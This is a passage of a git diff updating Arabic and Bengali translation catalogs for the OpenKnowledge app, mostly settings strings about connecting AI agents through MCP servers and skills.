OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "اتصالات MCP"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "فشل الإصلاح التلقائي لـ MCP لـ {failures}"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "عدّل وجهة الرابط والمرساة وتسمية العرض.msgid "More"msgstr "المزيد"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "مزيد من المعلومات"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "حُظرت طلبات إضافية."@@ -8537,7 +8632,7 @@ msgstr "لم يُعدّ أي وكيل بعد — اختر واحدًا من قاmsgid "no agents — saved, not installed anywhere"msgstr "بدون وكلاء — تُحفظ ولا تُثبَّت في أي مكان"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "لا يوجد وكلاء متاحون."@@ -8546,7 +8641,7 @@ msgstr "لا يوجد وكلاء متاحون."msgid "No agents enabled"msgstr "لا يوجد وكلاء مفعَّلون"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "لا يوجد وكلاء يطابقون بحثك."@@ -8910,11 +9005,12 @@ msgstr "بلا إجابة"msgid "Not attached to desktop bridge"msgstr "غير متصل بجسر سطح المكتب"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "غير متاح على هذه المنصة"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "غير متصل"@@ -8922,6 +9018,10 @@ msgstr "غير متصل"msgid "Not connected to GitHub."msgstr "غير متصل بـ GitHub."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "لم يتم اكتشافه على هذا الجهاز"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "ليس رائعًا"@@ -8932,7 +9032,7 @@ msgstr "ليس في الشريط الجانبي"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "غير مثبَّت"@@ -9065,15 +9165,15 @@ msgstr "على النص المحدد في <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "في الفهرس الجذري، تتم كتابة okf_version كسلسلة مقتبسة مثل \"0.2\". بدون اقتباس، يقرأه YAML كرقم ويصبح 0.10 بصمت 0.1."-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "خطوة أخيرة: فعّله في Cursor ← الإعدادات ← الأدوات وMCP (يترك Cursor خوادم المشروع معطّلة حتى تشغّلها)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "خطوة أخيرة: فعّله في {agent} ← الإعدادات ← الأدوات وMCP (يترك {agent} خوادم المشروع معطّلة حتى تشغّلها)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "خطوة أخيرة: شغّل <0>claude</0> في هذا المشروع ووافق على OpenKnowledge مرة واحدة."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "خطوة أخيرة: شغّل {agent} في هذا المشروع ووافق على OpenKnowledge مرة واحدة."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "افتح مشروعًا أولًا."msgid "Open a project to edit."msgstr "افتح مشروعًا للتحرير."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "افتح مشروعًا لإدارة اتصالات أدوات الذكاء الاصطناعي الخاصة به."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "افتح ملف Markdown واحدًا — بلا إعداد مشروع."@@ -9506,6 +9602,10 @@ msgstr "تحقق OpenKnowledge من التعارضات"msgid "OpenKnowledge checked the project"msgstr "تحقق OpenKnowledge من المشروع"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "لم يتمكن OpenKnowledge من العثور على هذا الوكيل على هذا الجهاز."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "تعذّر على OpenKnowledge قراءة terminal.shell في .ok/local/config.yml. سيتم استخدام صدفة Windows متاحة بدلًا منها."@@ -9534,6 +9634,18 @@ msgstr "حذف OpenKnowledge {subject}"msgid "OpenKnowledge deleted a document"msgstr "حذف OpenKnowledge مستندًا"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "مهارة اكتشاف OpenKnowledge"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "لا يتعرّف OpenKnowledge على هذا الإدخال، ولا يمكنه استبداله بأمان في تنسيق هذا الملف."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "لا يتعرّف OpenKnowledge على هذا الإدخال. تشغيله سيستبدله."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "عدّل OpenKnowledge {subject}"@@ -9578,6 +9690,10 @@ msgstr "يستخدم OpenKnowledge حساب GitHub الذي توفره واجهmsgid "OpenKnowledge is using this GitHub account."msgstr "يستخدم OpenKnowledge حساب GitHub هذا."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "لم يغيّر OpenKnowledge هذا الملف لأنه لم يتمكن من تحليله بأمان. أصلح الملف يدويًا ثم أعد المحاولة."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "عرض OpenKnowledge المهارات المثبّتة"@@ -10289,10 +10405,6 @@ msgstr "مشروع"msgid "Project"msgstr "المشروع"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "إدارة أدوات الذكاء الاصطناعي للمشروع متاحة فقط في تطبيق OpenKnowledge لسطح المكتب."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "تفاصيل المشروع"@@ -10301,6 +10413,10 @@ msgstr "تفاصيل المشروع"msgid "Project folder created, but git init failed. Try again."msgstr "أُنشئ مجلد المشروع، لكن فشل git init. أعد المحاولة."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "خادم MCP للمشروع"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "اسم المشروع"@@ -10314,6 +10430,10 @@ msgstr "إضافات المشروع هي معيار التأليف لمشروعmsgid "Project root"msgstr "جذر المشروع"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "مهارة المشروع"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "قوالب المشروع"@@ -10468,6 +10588,21 @@ msgstr "تم الدفع {pushed}"msgid "Pushing"msgstr "يجري الدفع"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "يضع مهارة الاكتشاف من OpenKnowledge في مجلد مهارات {agent} على مستوى الجهاز، ليتمكن من العثور على OpenKnowledge في أي مشروع."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "يضع مهارة OpenKnowledge في مجلد مهارات {agent} لهذا المشروع، لتبقى تعديلاته منسوبة إليه."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "يضع مهارة OpenKnowledge في مخزن المهارات المركزي الذي يقرؤه {agent}."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "يحاول الفهم…"@@ -10586,6 +10721,10 @@ msgstr "مشروع حديث"msgid "Recently opened"msgstr "فُتح مؤخرًا"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "موصى به"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "مهارة الوكيل الموصى بها"@@ -10721,6 +10860,8 @@ msgstr "التحكم عن بُعد"msgid "Remote skill source"msgstr "مصدر مهارة بعيد"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "إزالة {patternText}"msgid "Remove {projectName} from recent projects"msgstr "إزالة {projectName} من المشاريع الحديثة"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "إزالة {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "إزالة {tag}"@@ -10773,6 +10918,10 @@ msgstr "فشلت الإزالة: {error}"msgid "Remove field {field}"msgstr "إزالة الحقل {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "إزالة لكليهما"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "إزالة الرابط"msgid "Remove OpenKnowledge from {0}"msgstr "إزالة OpenKnowledge من {0}"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "هل تريد إزالة OpenKnowledge من {0}؟"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "هل تريد إزالة OpenKnowledge؟"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "إزالة الخاصية"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "يجري إعادة فتح «{docName}» بذاكرة تعاون محلية جديدة."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "تم إصلاح تكامل MCP الخاص بـ {names}"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "استبدال {keyName}"msgid "Replace all matches"msgstr "استبدال كل التطابقات"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "استبدال وحفظ"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "استبدال التطابق الحالي"@@ -10983,6 +11145,10 @@ msgstr "هل تستبدل هذه النسخ بروابط رمزية إلى الmsgid "Replace these symlinks with independent copies?"msgstr "هل تستبدل هذه الروابط الرمزية بنسخ مستقلة؟"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "يستبدل إدخال \"open-knowledge\" الموجود في هذا الملف. تُترك الخوادم الأخرى في الملف دون تغيير."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "يجري الاسترجاع…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "إعادة المحاولة"@@ -11379,6 +11545,7 @@ msgstr "تضمين HTML معزول — اكتب HTML وشاهد المعاينةmsgid "Save"msgstr "حفظ"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "حفظ التغييرات"@@ -11429,6 +11596,7 @@ msgstr "يُحفظ مع المشروع لفريقك."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "يحفظ الملف في <0>~/Downloads/openknowledge.skill</0> ويفتح تطبيق Claude Desktop. يتطلب Node.js أو Bun في PATH لديك."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "يجري الحفظ"@@ -11482,7 +11650,7 @@ msgstr "ابحث عن «{semanticSubmitQuery}» حسب المعنى"msgid "Search ({searchShortcutLabel})"msgstr "بحث ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "البحث في الوكلاء"@@ -12066,8 +12234,7 @@ msgstr "إظهار {0} إضافية"msgid "Show {hidden} more"msgstr "إظهار {hidden} إضافية"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "إظهار {hiddenCount} إضافية"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "الإظهار في المستعرض"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "إظهار أقل"@@ -12341,11 +12507,6 @@ msgstr "مهارات من {0}/{1}."msgid "Skills from OpenKnowledge"msgstr "مهارات من OpenKnowledge"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "تم نقل المهارات إلى استوديو المهارات."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "أُعيد إسناد المهارات"@@ -12501,6 +12662,7 @@ msgstr "حدث خطأ ما أثناء إرسال ملاحظاتك. يرجى الmsgid "Something went wrong starting the terminal."msgstr "حدث خطأ ما أثناء بدء الطرفية."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "حدث خطأ ما. يرجى المحاولة مرة أخرى."@@ -13074,7 +13236,6 @@ msgstr "القوالب"msgid "Templates available"msgstr "قوالب متاحة"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "قوالب متاحة"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "انتهت مهلة طلب تنزيل {0}."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "تقدم إضافة {0} هذه المهارات من ذاكرتها المؤقتة — لا يحررها OK ولا يحدّثها أبدًا."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "يتجاهل تطبيق {agent} لسطح المكتب إعدادات هذا المشروع؛ ولا يقرؤها سوى {agent} في سطر الأوامر."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "يحتوي مجلد {editor} على نسخة مختلفة من هذه المهارة. اختر أيهما يسود، أو احتفظ بكليهما باسمين مختلفين. يُنسخ ما تستبدله احتياطيًا أولًا."@@ -13452,6 +13617,14 @@ msgstr "لا يتحرك مجلد المصدر نفسه."msgid "The template's filename (without `.md`)."msgstr "اسم ملف القالب (بدون `.md`)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "يتشارك صفّا الطرفية وسطح المكتب لـ {label} إعدادًا واحدًا، لذا فإن ربط أحدهما يربط كليهما."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "يتشارك صفّا الطرفية وسطح المكتب لـ {label} إعدادًا واحدًا، لذا فإن إزالته يقطع اتصال كليهما."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "الطرفية معطّلة لهذا المشروع. أعد تشغيلها لتنفيذ الأوامر هنا."@@ -13608,6 +13781,14 @@ msgstr "هذا الوكيل لا يقدم أوامر الشرطة المائلةmsgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "هذا الوكيل لا يقدم أوامر الشرطة المائلة — سترسل رسالتك كنص عادي"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "لا يتيح هذا الوكيل لـ OpenKnowledge طريقة لإعداد ذلك نيابةً عنك. يتضمّن دليل الإعداد الخاص به الخطوات اليدوية."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "لا يملك هذا الوكيل ملفًا من هذا النوع على هذا الجهاز بعد. افتح الوكيل مرة واحدة ثم تحقّق مجددًا."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "لم يعلن هذا الوكيل عن أوامره بعد"@@ -13651,6 +13832,14 @@ msgstr "هذا التعليق على الخاصية بأكملها"msgid "This conflict is resolved."msgstr "تم حل هذا التعارض."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "تعذّر إعداد هذا لأن إدخال خادم MCP الذي يحتاجه لم تتم كتابته."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "يحذف هذا إدخالات خادم MCP وملفات المهارات المدرجة أدناه. سيفقد الوكيل إمكانية الوصول إلى مستنداتك حتى تضيفه مرة أخرى."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "هذا المستند"@@ -13683,6 +13872,10 @@ msgstr "تم حذف هذا المستند"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "تجاهلت نقطة النهاية هذه حجم المتجه الذي ضبطته. أزل <0>search.semantic.dimensions</0> لاستخدام حجم النموذج نفسه."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "تغيّر هذا الإدخال بعد أن كتبه OpenKnowledge. تشغيله سيستبدله."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "يحمل هذا الحقل كلمات مفتاحية إضافية في المخطط لا يعرضها المحرر — وتُحفظ كما هي عند الحفظ."@@ -13735,6 +13928,10 @@ msgstr "هذا المجلد نسخة من {actualOwner}/{actualRepo} وليس مmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "هذا المجلد نسخة من {expectedOwner}/{expectedRepo} على {actualHost} وليس على {expectedHost}. هل تختار مجلدًا مستنسخًا من {expectedHost}؟"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "هذا المجلد يخص {alsoAffects} أيضًا."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "هذا المجلد فارغ."@@ -13793,6 +13990,7 @@ msgstr "هذا العنصر"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "يبدو هذا جذر قرص (مثل C:\\). سيفحص البناء هنا قرصًا كاملًا."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "يحتاج هذا إلى رؤية ملفاتك، وليس فقط المmsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "تعلّم هذه أدواتِك كيفية العمل مع OpenKnowledge. وهي موجودة في مجلد المشروع، لذا تُثبَّت لكل من يفتح المشروع."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "لا يمكن تغيير هذا الخيار تلقائيًا."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "هذه الحزمة مُعدّة هنا بالفعل."@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "يزيل هذا {path} نهائيًا. ستفشل الوكلاء التي تشير إلى هذا القالب بالاسم حتى يُنشأ من جديد أو يحل محله قالب في مجلد أب."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "لا يدعم خادم هذا المشروع العامل التحريرmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "خادم هذا المشروع (v{0}) أحدث من هذا التطبيق (v{1})."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "تم نقل مهارة هذا المشروع إلى استوديو المهارات."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "يزيل هذا إعدادات OpenKnowledge وتكاملاته من جهاز Mac لديك ومن أي مشاريع تحددها أدناه، لكنه يُبقي محتوى Markdown والمهارات التي ألّفتها."@@ -13963,6 +14161,18 @@ msgstr "هذا الإعداد خاص بكل جهاز ولا يُشارك مع اmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "هذا الإعداد خاص بكل جهاز ولا يُشارك مع المتعاونين. ويحتاج إلى مفتاح API (يُضبط أدناه) ما لم تكن نقطة نهايتك خادمًا محليًا لا يتطلب واحدًا."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "هذا الإعداد مشترك مع {peers} عبر <0>{path}</0>. إزالته من هنا تزيله لـ {peers} أيضًا."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "هذا الإعداد مشترك مع {peers}، ولا يستطيع OpenKnowledge تغييره من هنا. ألغِ ربط المجلد في Skills Studio أولًا."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "هذا الإعداد مشترك مع {peers}. إزالته من هنا تزيله لـ {peers} أيضًا."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "يحزم هذا المصدر عدة مهارات — اختر واحدة، ثم استورد."@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "اكتب للعثور على مستند"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "غير متاح على هذه المنصة"@@ -14917,8 +15126,7 @@ msgstr "ما الذي ينبغي أن يفعله الذكاء الاصطناعيmsgid "What the agent may read, write, and surface."msgstr "ما يجوز للوكيل قراءته وكتابته وإظهاره."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "ما الذي يغيّره مربع الاختيار هذا"@@ -14994,6 +15202,10 @@ msgstr "من أنت، ليكون لدى الوكيل سياقك."msgid "Whole word"msgstr "الكلمة كاملة"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "لماذا يحتاج هذا إلى انتباه"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "رابط ويكي"@@ -15031,6 +15243,10 @@ msgstr "نافذة"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "بدون أداة ذكاء اصطناعي متصلة، لن يتم تثبيت {packSkillCount, plural, zero {# مهارة} one {مهارة واحدة} two {مهارتين} few {# مهارات} many {# مهارة} other {# مهارة}} من الحزمة."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "بدون المهارة يظل الوكيل يعمل، لكنه يفقد نسبة التعديلات إليه والمعاينة الحية."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "التفاف النص"@@ -15078,6 +15294,11 @@ msgstr "أشجار العمل"msgid "Wrap long lines in the markdown source editor."msgstr "لُف الأسطر الطويلة في محرر مصدر Markdown."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "يكتب ملف جسر صغيرًا يحمّله {agent} من هذا المشروع للوصول إلى OpenKnowledge."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "يكتب إدخالًا في"@@ -15086,6 +15307,10 @@ msgstr "يكتب إدخالًا في"msgid "writing"msgstr "الكتابة"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "فشلت كتابة هذا الملف. راجع سجل OpenKnowledge لمعرفة السبب."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "تمت كتابة إضافة Open Knowledge، لكن تعذّر تعليم المجلد كموثوق، لذا لن تُحمَّل. لا تتوفر أدوات Open Knowledge في هذه السلسلة."@@ -15233,6 +15458,10 @@ msgstr "تحتوي نسختك من الفرع <0>{shareBranch}</0> على تغيmsgid "Your current version is saved first, so this is reversible."msgstr "تُحفظ نسختك الحالية أولًا، فهذا قابل للتراجع."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "لن تتأثر مستنداتك."+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/bn/messages.json b/packages/app/src/locales/bn/messages.jsonindex b69e9ddd9..4672748e2 100644--- a/packages/app/src/locales/bn/messages.json+++ b/packages/app/src/locales/bn/messages.json@@ -59,7 +59,6 @@"03wKPg": ["একটি রিপোর্ট আমাদের কারণ খুঁজে পেতে সাহায্য করে। আপনার পর্যালোচনার আগে কিছুই পাঠানো হয় না।"],"04JR6L": ["আপনার AI টুল যুক্ত করুন"],"04RA0-": ["সিঙ্ক চালু করতে ব্যর্থ — ", ["detail"]],- "04XyCH": [["0"], "-এ একটি পরিচালিত ব্লক যোগ করে"],"05F1GY": ["মূল লেখাটি মুছে ফেলা হয়েছে। আপনি এই মন্তব্যটি নির্বাচিত লেখার উপর আবার বসাতে পারেন।"],"05n5wS": ["নথি উল্লেখের পরামর্শ"],"06SZfb": ["টেমপ্লেট \"", ["trimmedTitle"], "\" তৈরি হয়েছে"],@@ -152,6 +151,7 @@"1DahsC": ["সেটিং খুঁজুন"],"1EcCom": [["keyName"], " মান"],"1FLarN": ["চালিয়ে যেতে আপনি কী তৈরি করতে চান তার বর্ণনা দিন"],+ "1FXL-O": ["এটি সেট আপ করা যায়নি কারণ এর প্রয়োজনীয় MCP সার্ভার এন্ট্রি লেখা হয়নি।"],"1GhYxC": [["totalPages"], "-এর মধ্যে"],"1HBhDS": ["ফাইল চেক আউট করা হচ্ছে"],"1J0c0X": [["displayName"], "-এ এখনও পৌঁছানো যায়নি। আর একবার চেষ্টা করবেন?"],@@ -229,11 +229,16 @@"2YOwme": ["পুনরায় চালু হয়েছে — এখন v", ["appRuntime"], " চলছে।"],"2YZwPB": ["বহির্গামী লিংকের সাড়া প্রত্যাশিত আকারের সঙ্গে মেলেনি।"],"2Yt22K": ["মূল সংস্করণ লুকান"],+ "2gXnCO": ["গ্লোবাল MCP সার্ভার"],"2hYmUH": ["[email protected]"],"2hpdRq": ["প্যানেল লুকান (", ["panelShortcutLabel"], ")"],"2j1kfc": ["একটি বৈধ URL দিন (উদাহরণস্বরূপ https://api.openai.com/v1)।"],"2jUGEP": ["স্কিল ইনস্টলের সংখ্যা প্রকাশ্যে গণনা করুন"],"2l293S": ["আপনি এই ফাইলটি রিসাইকেল বিন থেকে পুনরুদ্ধার করতে পারেন।"],+ "2lJAvH": [+ ["label"],+ "-এর টার্মিনাল ও ডেস্কটপ সারি একই সেটআপ ভাগ করে, তাই এটি সরালে দুটোরই সংযোগ বিচ্ছিন্ন হবে।"+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["আমরা 